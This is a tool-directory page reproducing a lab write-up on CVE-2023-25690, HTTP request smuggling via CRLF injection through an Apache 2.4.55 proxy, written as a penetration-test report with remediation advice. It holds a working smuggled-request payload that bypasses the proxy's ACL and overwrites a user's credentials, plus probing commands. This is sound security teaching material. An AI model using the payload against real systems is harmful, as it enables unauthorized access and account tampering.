Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-25690_lab — HTTP Request Smuggling lab: Apache 2.4.55 CRLF injection | Kitploit
Tools/GitHubGitHub/giordy0424/cve-2023-25690_lab
Vulnerability AnalysisWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubgiordy0424/cve-2023-25690_lab

CVE-2023-25690_lab

HTTP Request Smuggling lab: Apache 2.4.55 CRLF injection

View Repository
324 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

HTTP Request Smuggling via Apache proxy

Environment Setup

Infrastructure

ComponentRoleVersion
Apache HTTP ServerReverse Proxy2.4.55 (vulnerable)
Spring Boot (embedded Tomcat)Backend API4.x (Java 21)
SQLiteDatabase—
root@kitploit:~
User ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690: unsanitized CRLF
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL: <Location "/admin"> blocked

Public Backend Endpoints

root@kitploit:~
POST /public/register: allows user registration in the database
POST /public/login: allows login through verification of the entered credentials and issues a session token
GET /public/dashboard: restricted user area
GET /api/status: accepts the "name" parameter, it is a sample endpoint for checking service status
GET /public/logout

Private Backend Endpoints

root@kitploit:~
POST /admin/edit/{id}/{newName}/{newPass}: a route theoretically inaccessible to the public that allows administrators to modify user data

Reference Penetration Test Methodology

  1. Planning — Scope definition
  2. Discovery — Information Gathering, Footprinting, Scanning & Enumeration, Vulnerability Analysis
  3. Attack — Exploit, Privilege Escalation
  4. Reporting — Executive Summary, Technical Report

Executive Summary

During the penetration testing activity, a critical vulnerability was identified in the reverse proxy infrastructure that exposes the Spring Boot backend. The Apache HTTP Server version 2.4.55 proxy is affected by vulnerability CVE-2023-25690 (HTTP Request Smuggling), which allows an attacker to bypass the security filters imposed on the proxy and directly reach unprotected internal administrative endpoints.

The attack exploits the lack of sanitization of control characters (CRLF) in Apache's RewriteRule, allowing the injection of a second HTTP request among the parameters of a legitimate request to the backend. The proof of concept demonstrated the unauthorized modification of user credentials in the database via the /admin/edit/{id}/{newName}/{newPass} endpoint, theoretically protected by the proxy's ACLs.

Recommendations: Immediately update Apache HTTP Server to version ≥ 2.4.56, strengthen security filters on the proxy, and implement a backend security layer (Spring Security) for all sensitive endpoints.


1 Planning

1.1 Mode

  • Attack vector: Internet
  • Environment to attack: Production

1.2 Gray Box - Known information:

  • Front-end hostname
  • Back-end hostname (or IP address on the corporate local network) and port
  • Private endpoint

1.3 Test Objectives

  • Bypass Apache ACLs to reach the private endpoint
  • Demonstrate unauthorized modification of user data in the database
  • Assess the real-world impact of CVE-2023-25690 in a real scenario

2 Vulnerability Assessment — Discovery Phase

2.1 Information Gathering & Footprinting

2.1.1 Banner Grabbing

Identification of the Apache version through analysis of the HTTP response headers.

root@kitploit:~
$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

Result: The Server header reveals Apache/2.4.55. Consultation of the CVE database → match with CVE-2023-25690.

According to the CVE, in this version of Apache, if there is a RewriteRule that copies generic characters from the request to the proxy into the backend destination URL, the transcribed text is not sanitized, so control characters (such as line breaks) also pass through.

For example: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // the P stands for proxy mode

So now our goal is to discover any endpoint that performs this transcription at the proxy level

2.1.2 Backend Technology Identification

From the analysis of the responses and the application's behavior, it is observed that the session is managed through JSESSIONID, which confirms the use of a Java Servlet Container (such as Apache Tomcat, Jetty, or WildFly). Furthermore, requests to non-existent endpoints return a "Whitelabel Error Page," indicating that Spring Boot is running in the backend.

2.2 Scanning & Enumeration

2.2.1 Endpoint Discovery (Fuzzing)

Using a bash script to automate dictionary-based fuzzing, the endpoints exposed on the network were mapped (presumably all of them).

Result:

EndpointHTTP CodeMethodParameters
admin403GET(no params)
public/register200POSTuser=test&pass=test
public/login200POSTuser=test&pass=test
public/dashboard200GET(no params)
public/logout200GET(no params)
api/status200GET(no params)
service/*200GET(no params)

2.2.2 Proxy Configuration Mapping (Deduction)

Given that

  • /service/x
  • /api/status?name=x

both return the same response, it is clear that they point to the same backend endpoint. Furthermore, since requests like /service/x/y/z (which most likely do not exist) do not return a 404, it can be deduced that the original endpoint accepts a parameter and not a path variable. In conclusion, it can be deduced that requests to /service/<service> are translated via a RewriteRule to the Spring Boot backend (exactly what we were looking for). Now we need to determine whether this RewriteRule is a dummy one, i.e., it uses a regex like .* or whether it is well-structured.

I try to insert control characters into the request to split the legitimate content from the hidden one:

root@kitploit:~
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... The service 'x' is operational and stable.

I inserted a custom parameter to verify that the CRLFs are interpreted correctly

trash_header is responsible for encapsulating the headers that Apache will insert into the request to the backend (this way they will be interpreted as simple text of the X-Header and will have no value for the HTTP request)


Out of the attacker's scope

Using tcpdump in the backend container, I was able to intercept the HTTP request coming from Apache:

root@kitploit:~
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

The backend sees this request:

root@kitploit:~
GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

"The control characters have taken control"

The response tells me that the part with the control characters passed through undisturbed as the structure of the HTTP request itself and not simply as a parameter (since the name intercepted by the backend is only 'x'). So we imposed the format of the HTTP request to the backend and the proxy accepted it; this paves the way for the real smuggling payload.

2.3 Attack Surface Mapping

EndpointMethodAccessNotes
/public/registerPOSTPublicUser registration
/public/loginPOSTPublicLogin, issues JSESSIONID
/public/dashboardGETAuthenticatedRestricted area
/public/logoutGETPublicDestroys session
/api/status?name=GETPublicHealth check
/service/{param}GETPublicVulnerable gateway ($1 in query string)
/admin/edit/{id}/{n}/{p}POSTProtected (ACL)Modifies user credentials
/admin/*Blocked (403)Apache ACL

3 Attack

3.1 Attack Objective

Force the Apache reverse proxy to forward two distinct requests to the Spring Boot backend, causing the second request to reach the /admin/edit/ endpoint bypassing Apache's ACL filter.

At this stage, imagine that localhost and spring-backend are respectively the public addresses of the proxy and the server. If the proxy and backend are on the same network (or organization), spring-backend will be a private IP (which unfortunately would be difficult to know)

3.2 Smuggling Mechanism

The vulnerability lies in the RewriteRule:

root@kitploit:~
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

The proxy captures user input in $1 and inserts it into the query string without sanitizing control characters (%20, %0d%0a). The backend (Tomcat) interprets these characters as URL termination and the start of a new HTTP request on the same TCP socket.

3.3 Payload Composition

root@kitploit:~
A) GET /service/x                  → Legitimate part; everything after /service/
                                      ends up in $1 (name parameter)

B) %20HTTP/1.1                     → [Splitting Point] Space that prematurely
                                      closes the URL in the backend

C) %0d%0aHost:...%0d%0a%0d%0a     → [Header Injection] CRLF to terminate
                                      the first request

D) POST /admin/edit/1/HACKED/PWNED → [Smuggled Request] Hidden malicious
                                      request to the admin endpoint

E) %20HTTP/1.1                     → HTTP version for the second request

F) %0d%0aContent-Length:%200       → Empty body for the POST
   %0d%0aConnection:%20close
   %0d%0aX-Header:%20              → [Header Sink] Absorbs headers added
                                      automatically by Apache

3.4 Complete HTTP Request

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost

3.5 Flow Decoding

What Apache sees (a single request):

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost

What the backend receives (two requests on the same socket):

root@kitploit:~
--- Request 1 (legitimate, but "mutilated") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend

--- Request 2 (smuggled) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:

3.6 Result

root@kitploit:~
>> ... HTTP/1.1 200 ... The service 'x' is operational and stable.

The user with ID 1 has been renamed to HACKED with password PWNED — complete bypass of the proxy ACLs.


Out of the attacker's scope

Direct database access for confirmation:

root@kitploit:~
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"

1|HACKED|PWNED

4 Vulnerability Evaluation

4.1 Identification

IDDescription
CVE-2023-25690Apache HTTP Server HTTP Request Smuggling via mod_proxy with RewriteRule/ProxyPassMatch
CWE-444Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
CWE-113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

4.2 CVSS 3.1 Scoring

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

Base Metrics

MetricValueDescription
Attack Vector (AV)N (Network)Accessible from remote network
Attack Complexity (AC)L (Low)No special conditions
Privileges Required (PR)N (None)No authentication required
User Interaction (UI)N (None)Does not require victim interaction
Scope (S)C (Changed)The vulnerable component differs from the impacted one
Confidentiality (C)H (High)Access to restricted endpoints
Integrity (I)H (High)Modification of user data in the database
Availability (A)H (High)Possible proxy cache poisoning / Socket pollution

Base Score: 10.0 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Temporal Metrics

MetricValueDescription
Exploit Code Maturity (E)F (Functional exploit exists)Working exploit
Remediation Level (RL)O (Official Fix)In later Apache versions, the bug has been fixed
Report Confidence (RC)C (Confirmed)Vulnerability confirmed and documented

Temporal Score: 9.3 (HIGH)

Environmental Metrics

MetricValueDescription
Attack Vector (MAV)N (Network)Proxy exposed on the internet
Attack Complexity (MAC)H (High)Requires knowledge of internal endpoint structure
Privileges Required (MPR)L (Low)No privileges of any kind required
User Interaction (MUI)N (None)No interaction required from external users
Scope (MS)C (Changed)A system is compromised through another
Impact Metrics (MC/MI/MA)H/H/HMaximum damage (data modification in the database)
CIA Requirements (CR/IR/AR)H/H/HCritical system (user login)

Environmental Score: 8.0 (HIGH)

Vector String: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H

Overall Score: 8.0 — HIGH


5. Remediation

5.1 Software Update (Recommended)

Update Apache HTTP Server to version ≥ 2.4.56, where sanitization of control characters in RewriteRule with the [P] flag is enforced at the server core level.

Current versionTarget versionFix
2.4.552.4.56+Automatic CRLF sanitization in mod_proxy

5.2 Backend Hardening (Spring Boot)

Implement Spring Security

Add spring-boot-starter-security to the pom.xml:

root@kitploit:~
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

Configure a SecurityFilterChain that protects administrative endpoints:

root@kitploit:~
@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic(Customizer.withDefaults())
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
        return http.build();
    }
}

Input Validation

Add checks on all parameters accepted by the endpoints (query string, path variables, form data):

root@kitploit:~
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
        @PathVariable Long id,
        @PathVariable @NotBlank String newName,
        @PathVariable @NotBlank String newPass,
        HttpSession session) {

    // Verify that the user has the ADMIN role
    User loggedUser = (User) session.getAttribute("LOGGED_USER");
    if (loggedUser == null || !loggedUser.hasAdminRole()) {
        return "Access denied";
    }
    // ... operation allowed only after auth check
}
Download Tool